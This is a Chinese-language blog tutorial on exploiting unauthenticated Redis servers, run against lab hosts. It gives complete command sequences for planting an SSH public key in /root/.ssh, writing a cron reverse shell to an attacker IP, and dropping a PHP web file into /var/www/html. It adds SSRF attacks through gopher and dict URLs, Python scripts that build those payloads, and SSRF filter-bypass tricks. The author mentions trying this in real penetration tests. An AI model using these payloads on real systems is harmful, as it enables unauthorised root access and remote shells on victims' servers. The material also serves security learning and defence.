浅谈Redis未授权访问漏洞
Redis未授权访问漏洞
Redis是一种key-value键值对的非关系型数据库
默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis
Redis还支持本地存储,也就导致任意文件写入,攻击者在未授权访问以root身份运行的Redis时可将ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys 文件中,进而通过对应私钥直接登录目标服务器
漏洞的产生条件:
- Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
- 没有设置密码认证,可以免密码远程登录Redis服务
- 以root身份运行Redis
Redis简单命令了解
查看版本信息
127.0.0.1:6379> info
清空所有Redis数据库的所有key 慎用
127.0.0.1:6379> flushall
设置Redis本地存储的文件夹和文件名
127.0.0.1:6379> config set dir [PATH]
127.0.0.1:6379> config set dbfilename [FILENAME]
将当前Redis实例所有数据快照以RDB文件的形式保存到硬盘
127.0.0.1:6379> save
Redis.config简单配置了解
bind IP1 IP2 ...
bind表示本机可以接受连接的网卡地址;只有通过bind里面配置的IP才访问到Redis服务
protected-mode [no|yes]
设置protected-mode no
此时外部网络可以直接访问;开启保护模式需配置bind IP
或者设置访问密码
Redis漏洞环境
Attacker
Kali: 10.173.168.12
Victim
Ubuntu: 139.xxx.xx.xxx
CentOS: 10.173.168.6
修改redis.conf
# bind 127.0.0.1
protected-mode no
需要允许除本地外的主机远程连接redis服务
利用Redis实现SSH
Victim: Ubuntu
root身份运行Redis服务器
$ sudo redis-server /etc/redis.conf
Attacker本地生成一堆密钥
root@kali:~# ssh-keygen -t rsa
id_rsa.pub
root@kali:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali
Redis连接并将公钥写入Victim
root@kali:~/.ssh# redis-cli -h 139.xxx.xx.xxx
139.xxx.xx.xxx:6379> config set dir /root/.ssh
OK
139.xxx.xx.xxx:6379> config set dbfilename authorized_keys
OK
(0.54s)
139.xxx.xx.xxx:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali\n\n\n" # \n换行,不然SSH连接会失败
OK
139.xxx.xx.xxx:6379> save
OK
SSH连接Victim
root@kali:~/.ssh# ssh -i id_rsa root@139.xxx.xx.xxx
Welcome to Ubuntu
利用Redis实现反弹Shell
Victim: CentOS
root身份运行Redis服务器
[root@centos centos]# redis-server /etc/redis.conf
Redis连接并写入反弹Shell
10.173.168.6:6379> set x "\n* * * * * /bin/bash -i > /dev/tcp/10.173.168.12/23 0<&1 2>&1\n"
OK
10.173.168.6:6379> config set dir /var/spool/cron/
OK
10.173.168.6:6379> config set dbfilename root
OK
10.173.168.6:6379> save
OK
监听23端口并等待反弹Shell
root@kali:~# nc -lvp 23
反弹Shell在Ubuntu下无法实现
由于系统的不同,定时文件位置也不同
- Centos的定时任务文件在
/var/spool/cron/root
- Ubuntu定时任务文件在
/var/spool/cron/crontabs/root
- 二者共有定时任务文件在
/etc/crontab
Redis以root身份写的文件权限为644,普通用户则是664,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,而如果写入/etc/crontab
,由于存在乱码,因此ubuntu不能正确执行定时任务;而CentOS在/var/spool/cron/中的定时任务文件权限为644就能执行
故ubuntu下通过Redis无法成功反弹shell
利用Redis写入WebShell
当redis-server
以非root身份运行时,无法将/var/spool/cron/
以及/root/.ssh
设置为本地存储文件夹但可以写入一句话木马
Victim: Ubuntu
Redis连接并写入一句话
139.xxx.xx.xxx:6379> set x "<?php phpinfo();?>"
OK
139.xxx.xx.xxx:6379> config set dir /var/www/html
OK
139.xxx.xx.xxx:6379> config set dbfilename shell.php
OK
139.xxx.xx.xxx:6379> save
OK
访问shell.php
Redis未授权漏洞与SSRF的综合利用
了解SSRF
SSRF(Server-Side Request Forgery服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因是由服务端发起的,所以能够请求到与其相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容或加载指定地址的图片
常见格式
http://xxx.xxx.xx.xxx/index.php?url=
RESP协议
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信
RESP协议在Redis 1.2中引入后成为Redis服务器通信的标准方式,其主要可序列化以下数据类型:整数,单行回复(简单字符串),数组,错误信息,多行字符串;RESP协议每部分都以 “\r\n” (CRLF) 结尾
RESP在Redis中用作请求 - 响应协议的方式:
- 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器
- 服务器根据命令实现回复一种RESP类型
在RESP中,数据类型取决于第一个字节:
- 对于Simple Strings,回复的第一个字节是+
- 对于error,回复的第一个字节是-
- 对于Integer,回复的第一个字节是:
- 对于Bulk Strings,回复的第一个字节是$
- 对于array,回复的第一个字节是*
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束
tcpdump抓取流量包
抓取6379端口流量
tcpdump port 6379 -w resp.pcap
连接远程Redis
xxx.xxx.xx.xxx:6379> set name hacker
OK
xxx.xxx.xx.xxx:6379> get name
"hacker"
xxx.xxx.xx.xxx:6379> del name
(integer) 1
xxx.xxx.xx.xxx:6379> get name
(nil)
所抓流量包
分析流量包
*3代表数组中数据个数为3(可以简单理解为空格为将命令分割为数组["set","name","test"]);$3代表字符串的长度,Hex中0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串;$-1表示空值
SSRF漏洞相关函数和协议
以下函数使用不当会导致SSRF:
- file_get_contents()
- fsockopen()
- curl_exec()
- fopen()
- readfile()
注意事项如下:
- 一般情况下PHP不会开启fopen的gopher
- file_get_contents的gopher协议不能URL编码
- file_get_contents关于gopher的302跳转会出现bug,导致利用失败
- curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
- curl_exec()默认不跟踪跳转
- file_get_contents支持php://input协议
SSRF可利用的协议:
file:在有回显的情况下,利用 file 协议可以读取任意内容
?url=file:///etc/passwd
dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
?url=dict://127.0.0.1:6379/info
gopher:可以截获get和post请求包,再构成符合gopher协议的请求,gopher传参需要加
_
?url=gopher://127.0.0.1:23/_hacker
http/s:探测内网主机存活
?url=http://172.27.16.9
利用gopher协议反弹shell
Victim: CentOS
socat抓取RESP协议流量
将反弹shell脚本写入shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
socat端口转发
[root@centos spool]# socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379
socat将本地2333端口转发到6379端口,访问本地2333端口实际上是访问6379端口
执行反弹shell
bash shell.sh 127.0.0.1 2333
获取流量(处理过,注意payload结尾回车)
*3\r
$3\r
set\r
$1\r
1\r
$56\r
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
*1\r
$4\r
save\r
转换获取数据
exp = ''
with open('payload.txt') as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print("gopher://127.0.0.1:6379/_" + exp.replace('$', '%24'))
curl测试转换结果
curl -v "gopher://127.0.0.1:6379/_*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2456%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2416%0d%0a/var/spool/cron/%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
反弹成功
[root@centos ~]# ^C
[root@centos spool]# nc -lvp 23
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::23
Ncat: Listening on 0.0.0.0:23
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:52642.
bash: no job control in this shell
[root@centos ~]#
Redis保护模式开启状态下SSRF
Victim: Ubuntu
一般情况下Redis保护模式开启状态
# bind 127.0.0.1
protected-mode yes
保护模式拒绝Redis的远程连接
漏洞代码
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
一句话木马转换
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print("gopher://127.0.0.1:6379/_" + s.replace("$", "%24"))
转换结果在使用curl发送的时候要把一句话的两个尖括号和;
和?
url编码
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0aweb%0d%0a%2418%0d%0a%3c%3fphp phpinfo()%3b%3f%3e%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"
urlencode之后构造payload
http://139.xxx.xx.xxx/index.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_*1%250d%250a%25248%250d%250aflushall%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250aweb%250d%250a%252418%250d%250a%253c%253fphp+phpinfo()%253b%253f%253e%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a
木马植入成功
SSRF漏洞相关绕过
@
http://abc@127.0.0.1
短网址
http://tool.chinaz.com/tools/dwz.aspx 短链生成工具
句号
127。0。0。1
302跳转
https://tinyurl.com/ 302跳转平台
SSRF实战中的疑惑
在Ubuntu和CentOS靶机中测试以及进行真实渗透时出现一些奇怪现象,尝试在?url=
后面拼接gopher payload
时一直无法成功,于是尝试dict
协议执行Redis命令的方式去写入一句话竟然成功了
dict://127.0.0.1/set x '<?php phpinfo();?>'
发现目标服务器中php版本为V
而靶机中版本为php7,用dict
协议写入时会出现如下错误
-ERR Protocol error: unbalanced quotes in request
Reference
https://moelove.info/2017/03/05/理解-Redis-的-RESP-协议/
https://www.jianshu.com/p/20095384e5d2
非常感谢以上作者的资料分享
右下角还有打赏功能呦~要不测试一下打赏功能能否正常运行?
浅谈Redis未授权访问漏洞的更多相关文章
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
- docker搭建redis未授权访问漏洞环境
这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...
- redis未授权访问漏洞那拿SHELL
一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...
- [转帖]Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...
- Redis未授权访问漏洞复现与利用
漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...
随机推荐
- 【Xamarin.Forms 1】App的创建与运行
引言 本篇文章将从介绍Xamarin.Forms创建开始. 开发环境 Visual Studio 2019 16.6.2 Xamarin.Forms 4.6.0.726 Android 5.0 (AP ...
- 宿主机ping不通虚拟机,虚拟机能ping通宿主机问题
打开虚拟机管理器,点开设置=>网络,网络选的是NAT,所以宿主机不能直接ping能虚拟机!!! 问题描述 查看虚拟机ip, #ifconfig如下图: 宿主机ping虚拟机ip,无法通信,如下 ...
- CI CD概念
CI:持续集成 Continuous Integration CD:持续发布 Continuous Delivery (完)
- Spring Cloud系列教程第九篇-Eureka自我保护机制
Spring Cloud系列教程第九篇-Eureka自我保护机制 本文主要内容: 1:自我保护介绍 2:导致原因分析 3:怎么禁止自我保护 本文是由凯哥(凯哥Java:kagejava)发布的< ...
- 如何更换Windows中命令提示符(cmd)中的字体
前言 CMD(命令提示符),全称"Command Prompt":对于这个东西我相信大部分用电脑的人基本都知道,因为常常会用到一些基本的DOS命令进行一些电脑的基本查看处理:但是我 ...
- 如何科学地完成一场 AR 发布会?全在这份超细节活动策划 Xmind 里了
你们在哪个酒店搭的景? 5 月 28 日,网易智慧企业完成了一场实景人物拍摄 + 虚拟舞台渲染的 AR 线上见面会.非常有趣的是,在直播过程中,不止一位观众问我们,“你们是在哪个酒店搭的景?”.看来我 ...
- 链表中倒数第k个节点(剑指offer-14)
/* public class ListNode { int val; ListNode next = null; ListNode(int val) { this.val = val; } }*/ ...
- 线下---复习day04---作业
1 学的不好的同学:用ajax提交一个json格式数据,返回一个json格式数据,console.log打印出来 2 通过ajax上传一个文件并保存起来,前端接收到,弹窗说上传成功 urls.py f ...
- 前端进阶笔记(一)---JS语言通识
一.语言按照语法分类 1.非形式语言:中文 英文 2.形式语言:乔姆斯基谱系(四种文法 上下文包含文法) 0型 无限制文法 1型 上下文相关文法 2型 上下文无关文法 正则文法 二 产生式(BNF) ...
- day66 django进阶(2)
目录 一.choices参数(数据库字段设计常见) 二.MTV与MVC模型 三.多对多三种创建方法 1 全自动 2 纯手动 3 半自动 四.AJax 小 一.choices参数(数据库字段设计常见) ...